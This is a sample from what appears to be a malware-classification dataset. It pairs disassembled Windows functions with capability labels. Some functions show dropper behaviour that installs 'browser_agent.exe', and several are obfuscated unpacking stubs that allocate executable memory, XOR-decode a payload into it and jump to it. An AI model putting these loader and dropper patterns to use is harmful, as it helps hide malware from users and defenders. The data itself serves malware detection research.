joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4015c0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x18cc
call fcn.00406380
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov dword [0x41c140], eax
mov eax, dword [str.k10000]
mov dword [ebp - 0xcc], eax
mov ax, word [0x4131a4]
mov word [ebp - 0xc8], ax
mov al, byte [0x4131a6]
mov byte [ebp - 0xc6], al
call fcn.004010f0
test eax, eax
jne 0x4017dd
push eax
push 0x23
lea eax, [ebp - 0x18cc]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
test eax, eax
je 0x4017dd
call fcn.004011f0
test eax, eax
je 0x4016c7
push str.Network_guide
lea eax, [ebp - 0x18cc]
push eax
push 0x4131b8
push 0x41c148
call fcn.004062e3
push str.Network_guide.exe
push 0x41c148
lea eax, [ebp - 0x8cc]
push 0x4131b8
push eax
call fcn.004062e3
lea eax, [ebp - 0xcc]
push eax
lea eax, [ebp - 0x10cc]
push str._uninstall__s
push eax
call fcn.004062e3
add esp, 0x2c
call fcn.004014d0
test eax, eax
lea eax, [ebp - 0x10cc]
je 0x4016ac
push 0
push eax
lea eax, [ebp - 0x8cc]
push eax
push 0
call fcn.00401540
add esp, 0x10
jmp 0x4016bc
push eax
lea eax, [ebp - 0x8cc]
push eax
call fcn.00401000
add esp, 8
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.browser_agent
lea eax, [ebp - 0x18cc]
push eax
push 0x4131b8
push 0x41c148
call fcn.004062e3
push 0x41c148
call fcn.004013c0
push str.browser_agent.exe
push 0x41c148
lea eax, [ebp - 0x8cc]
push 0x4131b8
push eax
call fcn.004062e3
lea eax, [ebp - 0x8cc]
push eax
push 0x8c
call fcn.004012f0
add esp, 0x2c
test eax, eax
je 0x4017dd
lea eax, [ebp - 0x8cc]
push eax
call fcn.004010d0
add esp, 4
test eax, eax
je 0x4017dd
push str.browser_agents.exe
push 0x41c148
lea eax, [ebp - 0x8cc]
push 0x4131b8
push eax
call fcn.004062e3
lea eax, [ebp - 0xcc]
push eax
lea eax, [ebp - 0x10cc]
push str._install__s
push eax
call fcn.004062e3
lea eax, [ebp - 0x8cc]
push eax
push 0x8d
call fcn.004012f0
add esp, 0x24
test eax, eax
je 0x4017dd
lea eax, [ebp - 0x8cc]
push eax
call fcn.004010d0
add esp, 4
test eax, eax
je 0x4017dd
call fcn.004014d0
test eax, eax
lea eax, [ebp - 0x10cc]
je 0x4017cd
push 0
push eax
lea eax, [ebp - 0x8cc]
push eax
push 0
call fcn.00401540
add esp, 0x10
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00406367
mov esp, ebp
pop ebp
ret 0x10
push eax
lea eax, [ebp - 0x8cc]
push eax
call fcn.00401000
add esp, 8
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
call fcn.00406367
mov esp, ebp
pop ebp
ret 0x10
Function at 0x401940
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 8]
test esi, esi
je 0x401974
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x401974
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov al, byte [ebx]
test al, al
je 0x401a3a
push edi
mov edi, ebx
mov ecx, ebx
cmp al, 0x2f
je 0x40198b
cmp al, 0x5c
jne 0x40198d
mov edi, ecx
mov al, byte [ecx + 1]
inc ecx
test al, al
jne 0x401983
cmp edi, ebx
je 0x4019d0
sub edi, ebx
lea eax, [ebp - 0x20c]
push edi
push ebx
push eax
call fcn.00406b10
add esp, 0xc
cmp edi, 0x104
jae 0x401a4a
lea eax, [ebp - 0x20c]
mov byte [ebp + edi - 0x20c], 0
push eax
push esi
call fcn.00401940
add esp, 8
mov byte [ebp - 0x108], 0
test esi, esi
je 0x4019f0
lea ecx, [ebp - 0x108]
sub ecx, esi
mov al, byte [esi]
lea esi, [esi + 1]
mov byte [ecx + esi - 1], al
test al, al
jne 0x4019e3
mov esi, ebx
mov al, byte [ebx]
inc ebx
test al, al
jne 0x4019f2
lea edi, [ebp - 0x108]
sub ebx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x401a02
mov ecx, ebx
lea eax, [ebp - 0x108]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
pop edi
cmp eax, 0xffffffff
jne 0x401a3a
push 0
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.00406367
mov esp, ebp
pop ebp
ret
call fcn.00405fef
int3

Function at 0x402040
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
cmp dword [esi], 0
jne 0x402108
cmp dword [esi + 4], 0xffffffff
jne 0x402108
push edi
lea edi, [esi + 0x140]
push edi
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov ecx, edi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402071
sub ecx, edx
mov al, byte [ecx + esi + 0x13f]
cmp al, 0x5c
je 0x4020a3
cmp al, 0x2f
je 0x4020a3
dec edi
lea ebx, [ebx]
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x402090
mov ax, word [0x414cf8]
mov word [edi], ax
mov edi, dword [ebp + 0x10]
cmp edi, 1
jne 0x4020c9
push edi
push 0
push 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x4020c9
pop edi
mov eax, 0x2000000
pop esi
pop ebp
ret 0xc
lea eax, [ebp + 0x10]
push eax
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00404c10
add esp, 0x10
test eax, eax
jne 0x4020e9
mov eax, dword [ebp + 0x10]
pop edi
pop esi
pop ebp
ret 0xc
push eax
call fcn.00405320
add esp, 4
mov dword [esi], eax
xor ecx, ecx
mov edx, 0x200
test eax, eax
cmove ecx, edx
pop edi
mov eax, ecx
pop esi
pop ebp
ret 0xc
mov eax, 0x1000000
pop esi
pop ebp
ret 0xc
Function at 0x402670
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
movsx eax, al
mov ecx, dword [edx]
xor eax, ecx
and eax, 0xff
shr ecx, 8
mov eax, dword [eax*4 + 0x414680]
xor eax, ecx
mov dword [edx], eax
movzx eax, al
add eax, dword [edx + 4]
imul ecx, eax, 0x8088405
mov eax, dword [edx + 8]
inc ecx
mov dword [edx + 4], ecx
shr ecx, 0x18
xor ecx, eax
shr eax, 8
and ecx, 0xff
xor eax, dword [ecx*4 + 0x414680]
mov dword [edx + 8], eax
pop ebp
ret
Function at 0x404d40
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 0x14]
mov esi, ebx
imul esi, dword [ebp + 0x10]
cmp byte [edi], 0
je 0x404d7e
push 0
lea eax, [ebp + 0xc]
push eax
push esi
push dword [ebp + 8]
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x404d72
mov byte [edi + 8], 1
mov eax, dword [ebp + 0xc]
xor edx, edx
pop edi
pop esi
div ebx
pop ebx
pop ebp
ret
mov edx, dword [edi + 0x1c]
mov ecx, dword [edi + 0x18]
lea eax, [edx + esi]
cmp eax, ecx
jbe 0x404d8f
mov esi, ecx
sub esi, edx
mov ecx, dword [edi + 0x14]
push esi
add ecx, edx
push ecx
push dword [ebp + 8]
call fcn.00406b10
add dword [edi + 0x1c], esi
add esp, 0xc
mov eax, esi
xor edx, edx
div ebx
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x404ec0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0xc]
test edx, edx
jne 0x404ece
xor eax, eax
pop ebp
ret
mov eax, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0x10]
not eax
cmp esi, 8
jb 0x404fa3
push edi
mov edi, esi
shr edi, 3
movzx ecx, byte [edx]
sub esi, 8
xor ecx, eax
shr eax, 8
and ecx, 0xff
xor eax, dword [ecx*4 + 0x414680]
movzx ecx, byte [edx + 1]
xor ecx, eax
shr eax, 8
and ecx, 0xff
xor eax, dword [ecx*4 + 0x414680]
movzx ecx, byte [edx + 2]
xor ecx, eax
shr eax, 8
and ecx, 0xff
xor eax, dword [ecx*4 + 0x414680]
movzx ecx, byte [edx + 3]
xor ecx, eax
shr eax, 8
and ecx, 0xff
xor eax, dword [ecx*4 + 0x414680]
movzx ecx, byte [edx + 4]
xor ecx, eax
shr eax, 8
and ecx, 0xff
xor eax, dword [ecx*4 + 0x414680]
movzx ecx, byte [edx + 5]
xor ecx, eax
shr eax, 8
and ecx, 0xff
xor eax, dword [ecx*4 + 0x414680]
movzx ecx, byte [edx + 6]
xor ecx, eax
shr eax, 8
and ecx, 0xff
xor eax, dword [ecx*4 + 0x414680]
movzx ecx, byte [edx + 7]
add edx, 8
xor ecx, eax
shr eax, 8
and ecx, 0xff
xor eax, dword [ecx*4 + 0x414680]
dec edi
jne 0x404ee6
pop edi
test esi, esi
je 0x404fc2
movzx ecx, byte [edx]
lea edx, [edx + 1]
xor ecx, eax
shr eax, 8
and ecx, 0xff
xor eax, dword [ecx*4 + 0x414680]
dec esi
jne 0x404fa7
not eax
pop esi
pop ebp
ret
Function at 0x40e008
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.00407592
mov dword [ebp - 0x14], eax
cmp dword [0x41d6c8], esi
jne 0x40e0fb
push 0x800
push esi
push 0x416de4
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x40e088
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40e1db
push esi
push esi
push 0x416de4
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x40e1db
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40e1db
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x41d6c8], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x41d6cc], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x41d6d0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x41d6d8], eax
test eax, eax
je 0x40e0f8
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x41d6d4], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40e120
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40e113
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x40e135
push 4
pop eax
jmp 0x40e1dd
cmp dword [ebp - 0x14], esi
je 0x40e135
push dword [0x41d6c8]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40e11a
mov eax, dword [0x41d6d4]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x40e193
cmp dword [0x41d6d8], edi
je 0x40e193
push eax
call ebx
push dword [0x41d6d8]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40e193
test eax, eax
je 0x40e193
call ecx
test eax, eax
je 0x40e188
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40e188
test byte [ebp - 8], 1
jne 0x40e193
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x40e1c3
mov eax, dword [0x41d6cc]
cmp eax, edi
je 0x40e1c0
push eax
call ebx
test eax, eax
je 0x40e1c0
call eax
mov esi, eax
test esi, esi
je 0x40e1c0
mov eax, dword [0x41d6d0]
cmp eax, edi
je 0x40e1c0
push eax
call ebx
test eax, eax
je 0x40e1c0
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x41d6c8]
call ebx
test eax, eax
je 0x40e1db
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x40e1dd
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00406367
mov esp, ebp
pop ebp
ret
Function at 0x1001a54f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x1001a55e
pop dword [ebp - 0x40]
mov eax, 0x1001a55e
sub dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0xd5f7fa1e
add dword [ebp - 0x50], 0x785a4b2d
mov dword [ebp - 0x4c], 0xf7646011
add dword [ebp - 0x4c], 0x3aceec34
mov dword [ebp - 0x48], 0x80e4f322
sub dword [ebp - 0x48], 0x3498aef4
mov dword [ebp - 0x44], 0x25da4cf2
sub dword [ebp - 0x44], 0x25da4cf2
lea eax, [ebp - 0x50]
push eax
mov eax, 0x6d77ced5
sub eax, 0x5d75ee55
add eax, dword [ebp - 0x40]
call dword [eax]
mov dword [ebp - 0x50], 0x9aadbd99
add dword [ebp - 0x50], 0xd9c4abbd
mov dword [ebp - 0x4c], 0x76851ee5
sub dword [ebp - 0x4c], 0x3518bd70
mov dword [ebp - 0x48], 0xbf3c080
sub dword [ebp - 0x48], 0xa8845414
mov dword [ebp - 0x44], 0xd5daeecd
add dword [ebp - 0x44], 0x2a251133
lea ebx, [ebp - 0x50]
push ebx
push eax
mov eax, 0x1bae5240
add eax, 0xf4538e44
add eax, dword [ebp - 0x40]
call dword [eax]
push 0x40
push 0x1000
push 0x3e11a
push 0
call eax
mov ecx, 0xf2b7fa6b
add ecx, 0xd4850bc
mov edi, eax
mov ebx, 0xcacb4f66
add ebx, 0x4538089a
add ebx, dword [ebp - 0x40]
mov esi, 0xc12c11cb
sub esi, 0x89028775
add dword [ebp - 0x3c], 0xfa95c84e
mov edx, dword [ebx]
sub dword [ebp - 0x3c], 0xfcb50a
sub edx, esi
sub dword [ebp - 0x3c], 0xbab725cb
mov dword [edi], edx
xor dword [ebp - 0x14], 0xfb3ab785
add edi, 4
add ebx, 0x2e155323
add ebx, 0xd1eaace1
loop 0x1001a67b
add eax, 0x8b18e969
sub eax, 0x8b17c9fa
xor ebx, ebx
add ebx, eax
add eax, 0xdc59618a
add eax, 0x23a69e7b
mov ecx, 0x10000000
add ecx, dword [ebp - 0x40]
call ebx
leave
ret

Function at 0xf5df10
Capabilities:
Encode data using xor

Disassembly:
jmp 0xf5df1a
pushal
call 0xf5df20
pop ebp
sub ebp, 0x10
sub ebp, 0xb5df10
jmp 0xf5df36
mov eax, 0xb5df10
add eax, ebp
add eax, 0x4c
mov ecx, 0x5aa
mov edx, 0xa91f953d
xor byte [eax], dl
inc eax
dec ecx
jne 0xf5df4d
jmp 0xf5df60
mov dh, 0xf0
mov dh, 0xb4
add dword [0xfcbc3d3d], edi
lds edi, [0xf03e3d3d]
test dword [edi + 0x15873d3d], esi
cmp eax, 0xdfca3d3d
cmc
mov dh, 0xbc
xor dword [0xf83e3d3d], edi
insd dword es:[edi], dx
mov al, 0x59
sbb ecx, eax
mov ah, 0x39
sbb dword [ebp + 0x51], edx
sbb byte [edi - 0x56e360ab], 0x3d
cmp al, 0x11
sbb dword [ebp - 0x65], edx
bound ecx, qword [esi + 0x3d38d5bf]
cmp eax, 0x3d15d43d
cmp eax, 0x6069683d
mov dh, 0xb8
xor eax, 0xb63d3d3d
test al, 0x31
cmp eax, 0xb0b63d3d
sub eax, 0xfc3d3d3d
aam 0x3f
or al, 0x3f
mov esi, 0x327439ff
mov eax, 0xc2c2c2c9
pushal
push dword [ecx]
cmp eax, 0x3919b1b6
cmp eax, 0x51553d3d
sbb byte [edi - 0x56e360ab], 0x3d
cmp al, 0x11
sbb dword [ebp + edx*8 + 0x38], ebp
cmp eax, 0x4d43d3d
aas
cmp eax, 0x6069683d
ret 0x3148
Function at 0x464fbb
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x464fca
pop dword [ebp - 0x14]
mov eax, 0x552dec7f
add eax, 0xab18634b
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0x2fb5796e
sub dword [ebp - 0x24], 0xe1633423
mov dword [ebp - 0x20], 0xae671bde
sub dword [ebp - 0x20], 0x7c33cf99
mov dword [ebp - 0x1c], 0xaccd8def
add dword [ebp - 0x1c], 0x9f7eb63f
mov dword [ebp - 0x18], 0x1de1db89
sub dword [ebp - 0x18], 0x1de1db89
lea eax, [ebp - 0x24]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0xcce10a4d
sub dword [ebp - 0x24], 0x586ea0f7
mov dword [ebp - 0x20], 0xb29c75a0
sub dword [ebp - 0x20], 0x7130142b
mov dword [ebp - 0x1c], 0xab01ed41
add dword [ebp - 0x1c], 0xb86d7f2b
mov dword [ebp - 0x18], 0xdf25b9ea
sub dword [ebp - 0x18], 0xdf25b9ea
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x64fa7
push 0
call eax
mov ecx, 0x5c3f
mov edx, eax
mov ebx, 0x4d3800
add ebx, dword [ebp - 0x14]
mov edi, 0x4259b1a
sub edi, 0xff7bef3d
xor dword [ebp - 4], eax
mov esi, dword [ebx]
xor dword [ebp - 0xc], 0xa67fdfe3
xor esi, edi
xor dword [ebp - 0xc], eax
mov dword [edx], esi
add dword [ebp - 8], 0xfb7e6cc6
add edx, 4
add ebx, 4
loop 0x4650d6
add eax, 0x163cf
xor ebx, ebx
add ebx, eax
add eax, 0x70486855
sub eax, 0x70486850
mov ecx, 0x400000
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x47046f
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
push 0x2b4
mov eax, 0x4a12cd
call fcn.0049fa2f
mov ebx, ecx
push edx
mov edx, ebx
lea ecx, [ebp - 0x40]
call fcn.004707a0
pop ecx
xor edi, edi
lea ecx, [ebp - 0x2c0]
mov dword [ebp - 4], edi
lea eax, [ebp - 0x40]
cmp dword [ebp - 0x2c], 8
push ecx
cmovae eax, dword [ebp - 0x40]
push eax
call dword [sym.imp.kernel32.dll_FindFirstFileW]
mov esi, eax
mov dword [ebp - 0x28], edi
xor eax, eax
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
mov byte [ebp - 4], 1
cmp esi, 0xffffffff
je 0x47055f
lea eax, [ebp - 0x294]
push eax
lea ecx, [ebp - 0x58]
call fcn.00464fbb
lea eax, [ebp - 0x58]
mov byte [ebp - 4], 2
push eax
mov edx, ebx
lea ecx, [ebp - 0x70]
call fcn.004707a0
mov edi, eax
lea eax, [ebp - 0x28]
pop ecx
cmp eax, edi
je 0x470507
mov ecx, eax
call fcn.0046d98d
push edi
lea ecx, [ebp - 0x28]
call fcn.00464fbb
lea ecx, [ebp - 0x70]
call fcn.0046d98d
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 1
call fcn.0046d98d
test byte [ebp - 0x2c0], 4
jne 0x470542
lea ecx, [ebp - 0x28]
call fcn.0047078b
test al, al
jne 0x470542
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.kernel32.dll_DeleteFileW]
lea eax, [ebp - 0x2c0]
push eax
push esi
call dword [sym.imp.kernel32.dll_FindNextFileW]
test eax, eax
jne 0x4704cc
push esi
call dword [sym.imp.kernel32.dll_FindClose]
lea ecx, [ebp - 0x28]
call fcn.0046d98d
lea ecx, [ebp - 0x40]
call fcn.0046d98d
call fcn.0049f9de
ret
Function at 0x474827
Capabilities:
Get common file path

Disassembly:
push 0x278
mov eax, 0x4a1b42
call fcn.0049fa2f
mov ebx, ecx
mov dword [ebp - 0x280], ebx
mov dword [ebp - 0x284], ebx
mov eax, dword fs:[0x2c]
xor esi, esi
mov dword [ebp - 0x284], ebx
mov edi, 0x4cb420
mov ecx, dword [eax]
mov eax, dword [0x4cb41c]
cmp eax, dword [ecx + 4]
jle 0x4748a4
push 0x4cb41c
call fcn.00464fbb
cmp dword [0x4cb41c], 0xffffffff
pop ecx
jne 0x4748a4
push 0x4b9024
mov ecx, edi
mov dword [ebp - 4], esi
call fcn.00464fbb
push 0x4a6680
call fcn.00464fbb
or dword [ebp - 4], 0xffffffff
mov dword [esp], 0x4cb41c
call fcn.00464fbb
pop ecx
cmp dword [0x4cb430], 0
jne 0x4749c5
push 0x20a
lea eax, [ebp - 0x21c]
push esi
push eax
call dword [sym.imp.VCRUNTIME140.dll_memset]
add esp, 0xc
call fcn.00464fbb
test al, al
je 0x474998
push str.LogSession
lea ecx, [ebp - 0x24c]
call fcn.00464fbb
lea ecx, [ebp - 0x24c]
mov dword [ebp - 4], 1
call fcn.00477e85
mov ebx, eax
lea ecx, [ebp - 0x264]
push 0x4adacc
mov eax, dword [ebx]
mov edi, dword [eax + 0x40]
call fcn.00464fbb
mov esi, eax
push str.IE_is_protected_mode_
lea ecx, [ebp - 0x234]
mov byte [ebp - 4], 2
call fcn.00464fbb
push esi
lea eax, [ebp - 0x234]
mov byte [ebp - 4], 3
push eax
mov ecx, edi
call dword [0x4a75c0]
mov ecx, ebx
call edi
lea ecx, [ebp - 0x234]
call fcn.0046a23d
lea ecx, [ebp - 0x264]
call fcn.0046a23d
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x24c]
call fcn.0046a23d
lea ecx, [ebp - 0x27c]
call fcn.00474779
mov esi, eax
mov edi, 0x4cb420
cmp esi, edi
je 0x474985
mov ecx, edi
call fcn.0046d98d
push esi
mov ecx, edi
call fcn.00464fbb
lea ecx, [ebp - 0x27c]
call fcn.0046d98d
mov ebx, dword [ebp - 0x280]
jmp 0x4749c5
lea eax, [ebp - 0x21c]
push eax
push esi
push esi
push 0x801a
push esi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
lea ecx, [ebp - 0x21c]
mov eax, 0x4b9024
cmovne ecx, eax
push ecx
mov ecx, edi
call fcn.00464fbb
push edi
mov ecx, ebx
call fcn.004723ba
mov eax, ebx
call fcn.0049f9de
ret
Function at 0x476140
Capabilities:
Read data from internet
Receive data

Disassembly:
push 0x20
mov eax, 0x4a1e1c
call fcn.0049fa65
mov dword [ebp - 0x20], ecx
xor esi, esi
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x18], esi
push esi
push esi
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], esi
push eax
mov eax, dword [ebp - 0x20]
push dword [eax + 8]
call dword [sym.imp.wininet.dll_InternetQueryDataAvailable]
mov edi, eax
mov dword [ebp - 0x1c], edi
test edi, edi
je 0x476244
cmp dword [ebp - 0x14], 0
jbe 0x476242
mov dword [ebp - 4], esi
mov eax, dword [ebp - 0x14]
inc eax
push eax
call fcn.00464fbb
pop ecx
mov ecx, dword [ebp - 0x14]
mov ebx, eax
inc ecx
mov dword [ebp - 0x18], ebx
push ecx
push esi
push ebx
call dword [sym.imp.VCRUNTIME140.dll_memset]
add esp, 0xc
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x14]
mov eax, dword [ebp - 0x20]
push ebx
push dword [eax + 8]
call dword [sym.imp.wininet.dll_InternetReadFile]
mov edi, eax
mov dword [ebp - 0x1c], edi
test edi, edi
jne 0x4761c8
mov dword [ebp - 0x14], esi
jmp 0x4761da
cmp dword [ebp - 0x14], 0
jbe 0x4761da
push dword [ebp - 0x14]
mov ecx, dword [ebp + 8]
push ebx
call fcn.0046a372
or dword [ebp - 4], 0xffffffff
jmp 0x47622e
push ebx
call fcn.0048844b
cmp dword [ebp - 0x14], 0
pop ecx
mov dword [ebp - 0x18], esi
ja 0x476157
test edi, edi
setne al
call fcn.0049f9ca
ret 4
Function at 0x47628a
Capabilities:
Check http status code

Disassembly:
push 0xa4
mov eax, 0x4a1e7b
call fcn.0049fa2f
mov edi, ecx
mov ebx, dword [ebp + 8]
xor eax, eax
push eax
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0xa8], eax
lea eax, [ebp - 0xac]
push eax
lea eax, [ebp - 0xa8]
mov dword [ebp - 0xac], 4
push eax
push 0x20000013
push dword [edi + 8]
call dword [sym.imp.wininet.dll_HttpQueryInfoW]
test eax, eax
je 0x4764e8
cmp dword [ebp - 0xa8], 0xc8
jne 0x4764e8
push 0
lea eax, [ebp - 0xa4]
push eax
push 0
push 0x16
push dword [edi + 8]
call dword [sym.imp.wininet.dll_HttpQueryInfoW]
mov eax, dword [ebp - 0xa4]
test eax, eax
je 0x4764e8
xor ecx, ecx
inc eax
push 2
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00464fbb
mov ecx, dword [ebp - 0xa4]
mov esi, eax
lea ecx, [ecx*2 + 2]
push ecx
push 0
push esi
call dword [sym.imp.VCRUNTIME140.dll_memset]
add esp, 0x10
lea eax, [ebp - 0xa4]
push 0
push eax
push esi
push 0x16
push dword [edi + 8]
call dword [sym.imp.wininet.dll_HttpQueryInfoW]
test eax, eax
je 0x4764e8
push esi
lea ecx, [ebp - 0x28]
call fcn.00464fbb
and dword [ebp - 4], 0
push esi
call fcn.0048844b
mov esi, 0x4b9420
lea ecx, [ebp - 0x28]
push esi
call fcn.00464fbb
or edi, 0xffffffff
jmp 0x4764d4
push ecx
push esi
lea ecx, [ebp - 0x28]
call fcn.00464fbb
push eax
push 0
lea eax, [ebp - 0x40]
push eax
lea ecx, [ebp - 0x28]
call fcn.00464fbb
push ecx
push 0x4b9428
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 1
call fcn.00464fbb
cmp eax, edi
je 0x476477
push ecx
mov esi, 0x4b9428
lea ecx, [ebp - 0x40]
push esi
call fcn.00464fbb
push eax
push 0
lea eax, [ebp - 0x70]
push eax
lea ecx, [ebp - 0x40]
call fcn.00464fbb
lea ecx, [ebp - 0x70]
mov byte [ebp - 4], 2
call fcn.00464fbb
push edi
push ecx
push esi
lea ecx, [ebp - 0x40]
call fcn.00464fbb
inc eax
lea ecx, [ebp - 0x40]
push eax
lea eax, [ebp - 0x58]
push eax
call fcn.00464fbb
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 3
call fcn.00464fbb
lea edx, [ebp - 0x58]
lea ecx, [ebp - 0x88]
call fcn.0046ee68
mov esi, eax
lea edx, [ebp - 0x70]
mov byte [ebp - 4], 4
lea ecx, [ebp - 0xa0]
call fcn.0046ee68
push eax
lea eax, [ebp - 0xb0]
mov byte [ebp - 4], 5
push eax
mov ecx, ebx
call fcn.00464fbb
push esi
mov ecx, dword [eax]
add ecx, 0x28
call fcn.00464fbb
lea ecx, [ebp - 0xa0]
call fcn.0046a23d
lea ecx, [ebp - 0x88]
call fcn.0046a23d
lea ecx, [ebp - 0x58]
call fcn.0046d98d
lea ecx, [ebp - 0x70]
mov byte [ebp - 4], 1
call fcn.0046d98d
mov esi, 0x4b9420
push edi
push ecx
push esi
lea ecx, [ebp - 0x28]
call fcn.00464fbb
add eax, 2
lea ecx, [ebp - 0x28]
push eax
lea eax, [ebp - 0x88]
push eax
call fcn.00464fbb
mov esi, eax
lea eax, [ebp - 0x28]
cmp eax, esi
je 0x4764ae
mov ecx, eax
call fcn.0046d98d
push esi
lea ecx, [ebp - 0x28]
call fcn.00464fbb
lea ecx, [ebp - 0x88]
call fcn.0046d98d
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 0
call fcn.0046d98d
push ecx
mov esi, 0x4b9420
lea ecx, [ebp - 0x28]
push esi
call fcn.00464fbb
cmp eax, edi
jne 0x476386
lea ecx, [ebp - 0x28]
call fcn.0046d98d
mov al, 1
jmp 0x4764ea
xor al, al
call fcn.0049f9de
ret 4